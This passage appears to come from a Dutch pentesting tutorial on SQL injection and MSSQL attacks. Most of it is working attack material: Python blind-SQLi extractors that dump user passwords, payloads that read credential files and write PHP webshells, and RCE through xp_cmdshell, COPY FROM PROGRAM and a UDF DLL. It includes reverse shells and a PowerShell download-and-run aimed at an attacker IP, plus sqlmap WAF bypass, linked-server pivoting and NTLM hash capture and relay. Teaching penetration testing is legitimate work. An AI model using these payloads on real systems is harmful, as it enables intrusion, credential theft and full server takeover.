  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
'; SELECT CASE WHEN
  (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
# Oracle:
' AND 1=(CASE WHEN (1=1)
  THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
# === PostgreSQL specials ===
# CHR() bypass (geen quotes nodig): CHR(65)||CHR(66) = 'AB'
# Dollar-quoted strings: $$string$$ = 'string'
# Tip: Automatiseer met Python script of sqlmap

Blind extractie automatiseren met Python

Het met de hand extraheren van data via blind injection is als het overschrijven van Oorlog en Vrede op een typemachine waarvan alleen de letter ‘a’ werkt. Technisch mogelijk, praktisch waanzin. Dus schrijven we een script.

Hier is een voorbeeld dat boolean-based blind injection automatiseert voor MySQL:

#!/usr/bin/env python3
"""
Blind SQL Injection - Boolean-based data extractor
Gebruik: python3 blind_extract.py
"""

import requests
import string
import sys

# === CONFIGURATIE ===
TARGET_URL = "http://shop.local/product"
PARAM = "id"
CLEAN_VALUE = "3"
TRUE_INDICATOR = "Laptop"  # tekst die verschijnt als conditie WAAR is

# Karakterset voor de zoekopdracht
CHARSET = string.printable

def is_true(payload: str) -> bool:
    """Stuur een payload en check of de response 'waar' aangeeft."""
    params = {PARAM: f"{CLEAN_VALUE}{payload}"}
    r = requests.get(TARGET_URL, params=params, timeout=10)
    return TRUE_INDICATOR in r.text

def extract_length(query: str, max_len: int = 100) -> int:
    """Bepaal de lengte van het resultaat met binary search."""
    low, high = 1, max_len
    while low < high:
        mid = (low + high) // 2
        payload = f"' AND (SELECT LENGTH(({query})))>{mid}-- -"
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return low

def extract_char(query: str, position: int) -> str:
    """Extraheer een enkel karakter met binary search op ASCII-waarde."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = (
            f"' AND (SELECT ASCII(SUBSTRING(({query}),{position},1)))"
            f">{mid}-- -"
        )
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return chr(low)

def extract_data(query: str) -> str:
    """Extraheer het volledige resultaat van een SQL-query."""
    length = extract_length(query)
    print(f"[*] Lengte: {length} karakters")

    result = ""
    for i in range(1, length + 1):
        char = extract_char(query, i)
        result += char
        sys.stdout.write(f"\r[*] Data: {result}")
        sys.stdout.flush()

    print()  # newline
    return result

if __name__ == "__main__":
    print("[*] Blind SQLi Extractor")
    print("[*] Target:", TARGET_URL)
    print()

    # Stap 1: Database-versie
    print("[+] Database versie:")
    version = extract_data("SELECT version()")
    print(f"    {version}")
    print()

    # Stap 2: Tabelnamen
    print("[+] Tabellen in huidige database:")
    tables = extract_data(
        "SELECT group_concat(table_name) "
        "FROM information_schema.tables "
        "WHERE table_schema=database()"
    )
    print(f"    {tables}")
    print()

    # Stap 3: Gebruikers dumpen
    print("[+] Gebruikers:")
    users = extract_data(
        "SELECT group_concat(username,0x3a,password) FROM users"
    )
    print(f"    {users}")

Dit script gebruikt binary search: in plaats van alle 95 printbare ASCII-waarden te proberen, halveert het de zoekruimte bij elke request. Dat reduceert het van ~47 requests per karakter naar ~7.

En hier is de time-based variant, voor als er helemaal geen zichtbaar verschil is:

#!/usr/bin/env python3
"""
Blind SQL Injection - Time-based data extractor
"""

import requests
import sys
import time

TARGET_URL = "http://shop.local/product"
PARAM = "id"
CLEAN_VALUE = "3"
SLEEP_TIME = 2  # seconden
THRESHOLD = SLEEP_TIME - 0.5  # response moet langer dan dit zijn

def is_true(payload: str) -> bool:
    """Stuur payload, meet response-tijd."""
    params = {PARAM: f"{CLEAN_VALUE}{payload}"}
    start = time.time()
    try:
        requests.get(TARGET_URL, params=params, timeout=SLEEP_TIME + 5)
    except requests.Timeout:
        return True
    elapsed = time.time() - start
    return elapsed > THRESHOLD

def extract_char(query: str, position: int) -> str:
    """Extraheer een karakter via time-based blind."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = (
            f"' AND IF((SELECT ASCII(SUBSTRING(({query}),"
            f"{position},1)))>{mid},"
            f"SLEEP({SLEEP_TIME}),0)-- -"
        )
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return chr(low)

def extract_data(query: str, max_len: int = 64) -> str:
    """Extraheer data karakter voor karakter."""
    result = ""
    for i in range(1, max_len + 1):
        char = extract_char(query, i)
        if ord(char) <= 32:  # spatie of control char = einde
            break
        result += char
        sys.stdout.write(f"\r[*] Data: {result}")
        sys.stdout.flush()
    print()
    return result

if __name__ == "__main__":
    print(f"[*] Time-based Blind SQLi (sleep={SLEEP_TIME}s)")
    print(f"[!] Dit gaat langzaam. Haal koffie.")
    print()

    version = extract_data("SELECT version()")
    print(f"[+] Versie: {version}")

IB Tip: Time-based blind extraction is extreem langzaam. Voor een hash van 60 karakters met 7 requests per karakter a 2 seconden per request: 60 x 7 x 2 = 840 seconden = 14 minuten. Per hash. Gebruik het alleen als er geen andere optie is. Of gebruik sqlmap, dat dit allemaal voor je doet.

File Read/Write via SQL Injection

Soms is het lezen van database-inhoud niet genoeg. Soms wil je bestanden van het bestandssysteem lezen. Of — en hier wordt het echt gevaarlijk — bestanden schrijven. Want als je een bestand kunt schrijven naar de webroot, kun je een webshell plaatsen. En dan heb je remote code execution.

Van SQL Injection naar volledige server-controle. In twee stappen.

MySQL: bestanden lezen

-- /etc/passwd lezen
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -

-- Applicatieconfig lezen (database credentials!)
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- -

LOAD_FILE() leest een bestand van de server en retourneert het als string. Ideaal om configuratiebestanden te lezen die database-wachtwoorden bevatten. Want ja, de meeste PHP-applicaties bewaren hun database-credentials in een plaintext config-bestand. We zijn hier niet bij NASA.

Vereisten: - De MySQL-gebruiker moet de FILE privilege hebben - De variabele secure_file_priv mag niet restrictief zijn

Check secure_file_priv:

-- Via SQLi (als je al data kunt extraheren):
' UNION SELECT 1,@@secure_file_priv,3,4-- -

-- Of in een MySQL shell:
SHOW VARIABLES LIKE 'secure_file_priv';

Als secure_file_priv leeg is: je kunt overal lezen/schrijven. Als het een pad bevat (bijv. /var/lib/mysql-files/): je kunt alleen in dat pad werken. Als het NULL is: geen file operaties mogelijk.

MySQL: bestanden schrijven

-- Webshell schrijven
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4
  INTO OUTFILE '/var/www/html/shell.php'-- -

Dat schrijft een PHP-bestand naar de webroot. Bezoek vervolgens:

http://target/shell.php?cmd=id

En je hebt command execution.

Als de applicatie aanhalingstekens filtert, gebruik dan hex-encoding:

-- 0x3c3f... is de hex-waarde van <?php system($_GET["cmd"]); ?>
' UNION SELECT 1,
  0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e,
  3,4 INTO OUTFILE '/var/www/html/shell.php'-- -

Vereisten: - FILE privilege - Schrijfrechten op het pad - secure_file_priv staat het toe

PostgreSQL: bestanden lezen en schrijven

PostgreSQL heeft zijn eigen mechanismen:

-- Bestand lezen (superuser of standaard in data directory)
' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -

Voor meer geavanceerde scenario’s zijn er Large Objects:

-- Bestand importeren als Large Object
SELECT lo_import('/etc/passwd', 1337);
-- Large Object lezen
SELECT lo_get(1337);

-- Bestand schrijven via Large Objects
SELECT lo_from_bytea(0, decode('base64data', 'base64'));
SELECT lo_export(0, '/var/www/html/shell.php');

Via COPY:

COPY (SELECT '') TO '/tmp/test.txt';

MSSQL: bestanden lezen

MSSQL heeft geen directe LOAD_FILE() equivalent, maar met xp_cmdshell kun je het besturingssysteem zelf bestanden laten lezen:

' UNION SELECT 1,2,3,4;
  EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config'-- -

Het IB command file: web_sqli_file_rw

# SQL Injection - File Read/Write
# === MySQL File Lezen ===
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- -
# Vereist: FILE privilege + secure_file_priv niet restrictief
# === MySQL File Schrijven (webshell) ===
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4
  INTO OUTFILE '/var/www/html/shell.php'-- -
' UNION SELECT 1,
  0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e,
  3,4 INTO OUTFILE '/var/www/html/shell.php'-- -
# Vereist: FILE privilege + schrijfrechten op pad
# === PostgreSQL File Lezen ===
' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -
# Via COPY:
COPY (SELECT '') TO '/tmp/test.txt';
# === PostgreSQL Large Objects (binary bestanden) ===
SELECT lo_import('/etc/passwd', 1337);
SELECT lo_get(1337);
# File schrijven via Large Objects:
SELECT lo_from_bytea(0, decode('base64data', 'base64'));
SELECT lo_export(0, '/var/www/html/shell.php');
# === MSSQL File Lezen ===
' UNION SELECT 1,2,3,4;
  EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config'-- -
# Tip: MySQL secure_file_priv check:
#   SHOW VARIABLES LIKE 'secure_file_priv'
# Tip: PostgreSQL: pg_read_file werkt alleen in data directory
#   tenzij superuser

IB Tip: Het lezen van /etc/passwd is de klassieke proof-of-concept, maar het echte goud zit in configuratiebestanden: /var/www/html/config.php, /var/www/html/.env, C:\inetpub\wwwroot\web.config. Daar staan de database-credentials, API-keys, en soms — helaas — hardcoded wachtwoorden.

SQL Injection naar Remote Code Execution

Dit is waar SQL Injection ophoudt een “data breach” te zijn en een “volledige compromittering” wordt. Van het lezen van wachtwoord-hashes naar het uitvoeren van willekeurige commando’s op de server. Van diefstal naar controle.

Er zijn verschillende routes, afhankelijk van het database-systeem.

Route 1: MSSQL — xp_cmdshell

Dit is de koninklijke route. MSSQL heeft een ingebouwde stored procedure genaamd xp_cmdshell die operating system commando’s uitvoert. Het is alsof je een achterdeur in een kluis hebt ingebouwd en er vervolgens een bordje “NIET GEBRUIKEN” op hebt gehangen.

-- Stap 1: Geavanceerde opties inschakelen
'; EXEC sp_configure 'show advanced options',1;
  RECONFIGURE;-- -

-- Stap 2: xp_cmdshell inschakelen
'; EXEC sp_configure 'xp_cmdshell',1;
  RECONFIGURE;-- -

-- Stap 3: Commando uitvoeren
'; EXEC xp_cmdshell 'whoami';-- -

En als je eenmaal whoami kunt draaien, kun je alles:

-- Reverse shell via PowerShell
'; EXEC xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')';-- -

Dat downloadt en voert een PowerShell-script uit dat een reverse shell opzet. Van SQL Injection naar een volledige command-and-control sessie in twee regels.

Route 2: MySQL — Webshell via INTO OUTFILE

Als je file-write rechten hebt (zie vorige sectie):

' UNION SELECT '<?php system($_GET["cmd"]); ?>'
  INTO OUTFILE '/var/www/html/shell.php'-- -

Gebruik:

# Commando uitvoeren
curl "http://target/shell.php?cmd=id"

# Reverse shell
curl "http://target/shell.php?cmd=bash+-i+>%26+/dev/tcp/10.0.0.1/443+0>%261"

Route 3: PostgreSQL — COPY FROM PROGRAM

PostgreSQL heeft een feature die zo krachtig is dat het bijna crimineel is: COPY FROM PROGRAM. Het voert een shell-commando uit en leest de output als tabeldata. Het is bedoeld voor data-import. Het wordt gebruikt voor reverse shells.

-- Stap 1: Schrijf een reverse shell script
'; COPY (SELECT 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1')
  TO '/tmp/shell.sh';-- -

-- Stap 2: Voer het uit via COPY FROM PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'bash /tmp/shell.sh';-- -

Er is ook de UDF-route (User Defined Function) voor complexere scenario’s:

-- Upload een C-extensie via Large Objects
SELECT lo_import('\\10.0.0.1\share\rev_shell.dll', 1337);
SELECT lo_export(1337, 'C:\path\rev_shell.dll');

-- Maak een functie die de extensie aanroept
CREATE OR REPLACE FUNCTION rev_shell(text, integer)
  RETURNS void
  AS 'C:\path\rev_shell.dll','connect_back'
  LANGUAGE C STRICT;

-- Roep de functie aan
SELECT rev_shell('10.0.0.1', 443);

Het IB command file: web_sqli_rce

# SQL Injection to RCE - Meerdere databases
# === MSSQL: xp_cmdshell ===
'; EXEC sp_configure 'show advanced options',1;
  RECONFIGURE;-- -
'; EXEC sp_configure 'xp_cmdshell',1;
  RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami';-- -
'; EXEC xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')';-- -
# === MySQL: INTO OUTFILE webshell ===
' UNION SELECT '<?php system($_GET["cmd"]); ?>'
  INTO OUTFILE '/var/www/html/shell.php'-- -
# Gebruik: http://target/shell.php?cmd=id
# === PostgreSQL: COPY TO + reverse shell ===
'; COPY (SELECT 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1')
  TO '/tmp/shell.sh';-- -
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'bash /tmp/shell.sh';-- -
# === PostgreSQL: UDF (User Defined Function) ===
# Stap 1: Compileer C extensie met reverse shell
# Stap 2: Upload via Large Objects
SELECT lo_import('\\10.0.0.1\share\rev_shell.dll', 1337);
SELECT lo_export(1337, 'C:\path\rev_shell.dll');
# Stap 3: Maak functie en roep aan
CREATE OR REPLACE FUNCTION rev_shell(text,integer)
  RETURNS void
  AS 'C:\path\rev_shell.dll','connect_back'
  LANGUAGE C STRICT;
SELECT rev_shell('10.0.0.1', 443);
# Tip: PostgreSQL COPY FROM PROGRAM = directe RCE (superuser nodig)
# Tip: MSSQL xp_cmdshell = meest voorkomend in OSCP/OSWA examen

IB Tip: Als je via SQLi een reverse shell opzet, zorg ervoor dat je listener al draait voordat je de payload triggert. Er is weinig triester dan een perfecte SQL Injection die een reverse shell stuurt naar een poort waar niemand luistert.

sqlmap: het Zwitsers zakmes

Er komt een moment in het leven van elke pentester waarop je denkt: “Ik heb nu genoeg handmatige SQL Injection gedaan. Kan iemand dit automatiseren?”

Die iemand heet Bernardo Damele en Miroslav Stampar, en hun creatie heet sqlmap. Het is een open-source tool dat SQL Injection detecteert en exploiteert met een efficiëntie die grenst aan het onbeleefde.

Je geeft sqlmap een URL met een verdachte parameter, en het probeert elke techniek die in dit hoofdstuk is beschreven — UNION, error-based, blind boolean, blind time-based, stacked queries — automatisch. Het is als het inhuren van een team van zes specialisten voor de prijs van een command-line tool.

Basis gebruik

# Simpelste scan
sqlmap -u "http://target/page?id=1" --batch

# Met POST data
sqlmap -u "http://target/api" \
  --method POST \
  --data "id=1&sort=name" \
  -p id \
  --batch

# Met cookie (voor authenticated scans)
sqlmap -u "http://target/page?id=1" \
  --cookie="PHPSESSID=abc123" \
  --batch

De --batch flag beantwoordt alle vragen automatisch met de default optie. Zonder die flag stopt sqlmap elke vijf seconden om je een vraag te stellen, wat na de derde keer zoiets doet met je geduld als een druppende kraan om drie uur ’s nachts.

Database enumereren

# Toon alle databases
sqlmap -u "http://target/page?id=1" --dbs

# Toon tabellen in een specifieke database
sqlmap -u "http://target/page?id=1" -D dbname --tables

# Dump een tabel
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump

# Alleen specifieke kolommen
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users \
  -C username,password \
  --dump

Geavanceerde opties

# Interactieve OS-shell
sqlmap -u "http://target/page?id=1" --os-shell

# SQL-shell (voer willekeurige SQL uit)
sqlmap -u "http://target/page?id=1" --sql-shell

# Bestand lezen van de server
sqlmap -u "http://target/page?id=1" \
  --file-read="/etc/passwd"

# Webshell uploaden
sqlmap -u "http://target/page?id=1" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

Technieken specificeren

Soms wil je sqlmap beperken tot een specifieke techniek, bijvoorbeeld als UNION-based de enige is die werkt en je niet wilt wachten tot alle time-based tests zijn afgerond:

# Alleen UNION-based
sqlmap -u "http://target/page?id=1" --technique=U

# Alleen blind boolean
sqlmap -u "http://target/page?id=1" --technique=B

# Alleen time-based
sqlmap -u "http://target/page?id=1" --technique=T

# Alles proberen (standaard)
sqlmap -u "http://target/page?id=1" --technique=BEUSTQ

De letters staan voor: Boolean blind, Error-based, UNION query, Stacked queries, Time-based blind, Query inline.

Burp Suite integratie

De krachtigste manier om sqlmap te gebruiken is met een vastgelegd request uit Burp Suite:

# Stap 1: In Burp, rechtermuisknop op het request → "Copy to file"
# Stap 2: Voer sqlmap uit met dat bestand
sqlmap -r request.txt --batch

Dit behoudt alle headers, cookies, en body-parameters exact zoals de browser ze verstuurde. Geen gedoe met het reconstrueren van complexe requests.

WAF bypass met tamper scripts

Als er een Web Application Firewall (WAF) is die je payloads blokkeert:

# space2comment: vervangt spaties door /**/
sqlmap -u "http://target/page?id=1" \
  --tamper=space2comment

# Meerdere tampers combineren
sqlmap -u "http://target/page?id=1" \
  --tamper=space2comment,between,randomcase

# Diepere scan (meer payloads, meer risico)
sqlmap -u "http://target/page?id=1" \
  --risk=3 --level=5

Populaire tamper scripts: - space2comment — spaties worden /**/ - between — > wordt NOT BETWEEN 0 AND - randomcase — SELECT wordt SeLeCt - charencode — URL-encodeert de payload - equaltolike — = wordt LIKE

Het IB command file: web_sqli_sqlmap

# SQLMap - Geautomatiseerde SQL Injection
# === Basis scan ===
sqlmap -u "http://target/page?id=1" --batch
# POST data:
sqlmap -u "http://target/api" --method POST \
  --data "id=1&sort=name" -p id --batch
# Met cookie:
sqlmap -u "http://target/page?id=1" \
  --cookie="PHPSESSID=abc123" --batch
# === Enumeratie ===
sqlmap -u "http://target/page?id=1" --dbs
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users --dump
# Specifieke kolommen:
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users -C username,password --dump
# === Geavanceerd ===
# OS shell (interactief):
sqlmap -u "http://target/page?id=1" --os-shell
# SQL shell:
sqlmap -u "http://target/page?id=1" --sql-shell
# File lezen:
sqlmap -u "http://target/page?id=1" \
  --file-read="/etc/passwd"
# File schrijven (webshell):
sqlmap -u "http://target/page?id=1" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"
# === Techniek specificeren ===
# Alleen UNION: --technique=U
# Alleen blind: --technique=B
# Alleen time: --technique=T
# Alle technieken: --technique=BEUSTQ
# === Burp request gebruiken ===
sqlmap -r request.txt --batch
# Tip: --batch = geen interactieve vragen,
#   --risk=3 --level=5 voor diepere scan
# Tip: --tamper=space2comment voor WAF bypass

IB Tip: sqlmap slaat resultaten op in ~/.sqlmap/output/. Als je een scan hervat na een onderbreking, pakt sqlmap automatisch de cache op. Gebruik --flush-session als je een schone start wilt. Gebruik --fresh-queries als je de cache wilt negeren maar de sessie wilt behouden.

MSSQL-specifiek: het Windows-ecosysteem

Microsoft SQL Server is een apart verhaal. Niet alleen omdat het op Windows draait (hoewel er tegenwoordig een Linux-versie is die niemand vrijwillig gebruikt), maar omdat het diep geintegreerd is met Active Directory. Een gecompromitteerde SQL Server is vaak de eerste stap naar het compromitteren van een heel Windows-domein.

Hier betreden we het terrein van het netwerk-pentest. SQL Injection was de deur; MSSQL is de gang die naar de rest van het gebouw leidt.

xp_cmdshell: commando-uitvoering

We hebben xp_cmdshell al gezien in de RCE-sectie, maar laten we het compleet behandelen.

Stap 1: Check of xp_cmdshell actief is

SELECT * FROM sys.configurations
  WHERE name = 'xp_cmdshell'

Of via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Get-SQLQuery -Instance 'TARGET,1433' `
  -Query "SELECT * FROM sys.configurations
  WHERE name = 'xp_cmdshell'"

Stap 2: Activeer xp_cmdshell (sysadmin-rechten vereist)

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Stap 3: Commando’s uitvoeren

EXEC master..xp_cmdshell 'whoami'
EXEC master..xp_cmdshell 'ipconfig'
EXEC master..xp_cmdshell 'net user'

Stap 4: Reverse shell

EXEC master..xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')'

Via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Instance 'TARGET,1433' `
  -Command 'whoami' -RawResults

IB Tip: Na gebruik altijd xp_cmdshell weer uitschakelen: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; Dit is niet uit nettighied, maar om te voorkomen dat andere aanvallers (of geautomatiseerde scans) dezelfde route vinden.

Alternatieve methoden als xp_cmdshell geblokkeerd is:

Als de beheerder xp_cmdshell heeft uitgeschakeld en je kunt het niet weer inschakelen (misschien via een trigger of audit), zijn er alternatieven:

-- sp_OACreate (COM objects)
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @shell INT;
EXEC sp_OACreate 'wscript.shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'run', null, 'whoami > C:\temp\out.txt';

-- CLR Assembly (custom .NET code laden)
-- (complexer, maar moeilijker te blokkeren)

Het IB command file: mssql_xpcmdshell

# MSSQL xp_cmdshell - OS Command Execution
# Stap 1: Check of xp_cmdshell actief is
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLQuery -Instance 'TARGET,1433'
  -Query 'SELECT * FROM sys.configurations
  WHERE name = ''xp_cmdshell'''"
# Stap 2: Activeer xp_cmdshell (sysadmin nodig)
EXEC sp_configure 'show advanced options', 1;
  RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
  RECONFIGURE;
# Stap 3: Commando uitvoeren
EXEC master..xp_cmdshell 'whoami'
# Stap 4: Reverse shell via xp_cmdshell
EXEC master..xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')'
# Via PowerUpSQL:
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Invoke-SQLOSCmd -Instance 'TARGET,1433'
  -Command 'whoami' -RawResults"
# Tip: Na gebruik weer uitschakelen:
#   EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
# Tip: Als xp_cmdshell geblokkeerd is,
#   probeer sp_OACreate of CLR assembly

MSSQL Enumeratie met PowerUpSQL

Voordat je xp_cmdshell gaat afvuren, wil je weten waar je mee te maken hebt. PowerUpSQL is een PowerShell-module die MSSQL-enumeratie automatiseert.

SQL Server instances vinden in het domein:

Import-Module .\PowerUpSQL.ps1

# Stap 1: Vind alle SQL Server instances
Get-SQLInstanceDomain -Verbose

# Stap 2: Welke zijn bereikbaar?
Get-SQLInstanceDomain |
  Get-SQLConnectionTestThreaded -Verbose

# Stap 3: Server-informatie ophalen
Get-SQLInstanceDomain |
  Get-SQLServerInfo -Verbose

Rechten en databases enumereren:

# Audit de instance
Invoke-SQLAudit -Instance 'TARGET,1433' -Verbose

# Databases bekijken
Get-SQLDatabase -Instance 'TARGET,1433' -Verbose

# Tabellen in een database
Get-SQLTable -Instance 'TARGET,1433' `
  -DatabaseName master -Verbose

# Check of we sysadmin zijn
Get-SQLQuery -Instance 'TARGET,1433' `
  -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"

Linked servers ontdekken:

Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose

Dit is cruciaal, want linked servers zijn vaak de sleutel tot laterale beweging door het netwerk.

Het IB command file: mssql_enum

# MSSQL Enumeratie met PowerUpSQL
# Stap 1: Vind SQL Server instances in het domein
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLInstanceDomain -Verbose"
# Stap 2: Check welke instances bereikbaar zijn
Get-SQLInstanceDomain |
  Get-SQLConnectionTestThreaded -Verbose
# Stap 3: Server info ophalen
Get-SQLInstanceDomain |
  Get-SQLServerInfo -Verbose
# Stap 4: Check huidige rechten
Invoke-SQLAudit -Instance 'TARGET,1433' -Verbose
# Stap 5: Database enumeratie
Get-SQLDatabase -Instance 'TARGET,1433' -Verbose
Get-SQLTable -Instance 'TARGET,1433'
  -DatabaseName master -Verbose
# Stap 6: Linked servers ontdekken
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose
# Stap 7: Check for sysadmin
Get-SQLQuery -Instance 'TARGET,1433'
  -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"
# Tip: SQL Server service accounts hebben vaak
#   hoge privileges in AD

IB Tip: SQL Server service accounts draaien verbazingwekkend vaak als domein-gebruiker met te hoge privileges. Soms zelfs als Domain Admin. Dit is het soort configuratiekeuze dat gemaakt wordt op een vrijdagmiddag om halfvijf en vervolgens nooit meer wordt herzien.

Linked Servers: de springplank

Linked servers zijn MSSQL’s manier om verbinding te maken met andere database-servers. Het idee is onschuldig: je hebt SQL Server A en SQL Server B, en je wilt vanuit A queries uitvoeren op B. SQL Server biedt dit via linked servers.

Het probleem is dat linked server-verbindingen vaak draaien met hogere privileges dan de originele verbinding. Als je op SQL1 een gewone gebruiker bent, maar SQL1 heeft een linked server naar SQL2 die als sa (sysadmin) draait, dan heb je via SQL1 sysadmin-rechten op SQL2.

En het wordt nog mooier: linked servers kunnen geketend worden. SQL1 -> SQL2 -> SQL3. Als elke link met hoge privileges draait, kun je via drie sprongen op een server uitkomen waar je normaal geen toegang hebt.

Stap 1: Ontdek linked servers

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose

Stap 2: Query via linked server (OPENQUERY)

SELECT * FROM OPENQUERY("LINKED_SERVER",
  'SELECT @@servername;
   EXEC master..xp_cmdshell ''whoami''')

Stap 3: Geneste links (SQL1 -> SQL2 -> SQL3)

En hier wordt de quote-escaping een nachtmerrie:

SELECT * FROM OPENQUERY("SQL2",
  'SELECT * FROM OPENQUERY("SQL3",
    ''SELECT @@servername;
      EXEC master..xp_cmdshell ''''whoami'''''')')

Elke laag dieper verdubbelt het aantal quotes. Bij drie lagen heb je acht quotes nodig voor een enkele quote. Het is als een matroesjka van string escaping.

Stap 4: Via PowerUpSQL (veel eenvoudiger)

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' `
  -Query "EXEC master..xp_cmdshell 'whoami'" |
  Select-Object Instance,Sysadmin,CustomQuery |
  Format-Table

Dit crawlt automatisch alle linked servers en voert je query op elk ervan uit. PowerUpSQL regelt de quote-nesting voor je.

Stap 5: xp_cmdshell activeren op een linked server

EXEC ('sp_configure ''show advanced options'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]

EXEC ('sp_configure ''xp_cmdshell'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]

EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]

Het IB command file: mssql_linked

# MSSQL Linked Server Crawling -
#   Chain via meerdere SQL servers
# Stap 1: Ontdek linked servers
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLServerLinkCrawl
  -Instance 'TARGET,1433' -Verbose"
# Stap 2: Query via linked server (OpenQuery)
SELECT * FROM OPENQUERY("LINKED_SERVER",
  'SELECT @@servername;
   EXEC master..xp_cmdshell ''whoami''')
# Stap 3: Genest (dubbel gelinkt - SQL1 -> SQL2 -> SQL3)
SELECT * FROM OPENQUERY("SQL2",
  'SELECT * FROM OPENQUERY("SQL3",
    ''SELECT @@servername;
      EXEC master..xp_cmdshell ''''whoami'''''')')
# Stap 4: Via PowerUpSQL crawl + commando
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLServerLinkCrawl -Instance 'TARGET,1433'
  -Query 'EXEC master..xp_cmdshell ''whoami'''
  | Select-Object Instance,Sysadmin,CustomQuery
  | Format-Table"
# Stap 5: xp_cmdshell activeren op linked server
EXEC ('sp_configure ''show advanced options'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('sp_configure ''xp_cmdshell'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]
# Tip: Linked servers draaien vaak als SA -
#   privilege escalation kans

UNC Path Injection: hashes stelen

Dit is een van de meest elegante aanvallen in het MSSQL-arsenaal. In plaats van data uit de database te halen, dwing je de SQL Server om naar jou te verbinden. En bij die verbinding stuurt Windows automatisch een NTLMv2-authenticatie-hash mee.

Het is alsof je niet naar de bank gaat om te roven, maar de bank overtuigt om een koerier te sturen met de kluissleutels. Naar jouw adres.

Stap 1: Start een listener op je aanvaller-machine

# Optie A: Responder (vangt NTLM-hashes op)
responder -I eth0 -wrf

# Optie B: Impacket SMB server
python3 smbserver.py share /tmp -smb2support

Stap 2: Trigger een UNC-pad vanuit SQL

EXEC master..xp_dirtree '\\10.0.0.1\share'

Alternatieven:

EXEC master..xp_fileexist '\\10.0.0.1\share\test'
EXEC master..xp_subdirs '\\10.0.0.1\share'

Of via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Invoke-SQLUncPathInjection -CaptureIp 10.0.0.1

Wat er gebeurt: de SQL Server probeert het UNC-pad te bereiken. Windows ziet een SMB-share (\\10.0.0.1\share) en stuurt automatisch de NTLM-credentials van het service account mee. Jouw Responder vangt de hash op.

Stap 3: Crack de hash

hashcat -m 5600 captured_hash.txt wordlist.txt

Stap 4: Of relay de hash

Als het SQL Server service account hoge privileges heeft op andere systemen, kun je de hash relayen in plaats van cracken:

python3 ntlmrelayx.py -t TARGET2 -smb2support

Het IB command file: mssql_unc_inject

# MSSQL UNC Path Injection - NTLMv2 hash capture
# Stap 1: Start Responder op aanvaller
responder -I eth0 -wrf
# Of Impacket smbserver:
python3 smbserver.py share /tmp -smb2support
